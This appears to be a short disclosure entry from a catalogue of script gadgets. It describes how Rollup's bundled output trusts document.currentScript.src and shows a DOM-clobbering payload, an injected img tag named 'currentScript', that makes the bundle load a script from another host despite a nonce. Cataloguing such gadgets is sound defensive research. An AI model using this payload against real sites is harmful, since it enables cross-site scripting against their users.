Next-generation ES module bundler
As with Webpack, modules were loaded dynamically using the document.currentScript.src path, which can be clobbered.
<!-- user input -->
<img name="currentScript" src="https://gmsgadget.com/assets/xss/">
<script nonce="secret" src="https://gmsgadget.com/assets/libs/rollup/bundle.js"></script>Root Cause
Source: https://github.com/rollup/rollup/blob/v4.22.3/test/form/samples/import-meta/_expected/cjs.js
var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);
Related links:
Found by jackfromeast, ishmeals.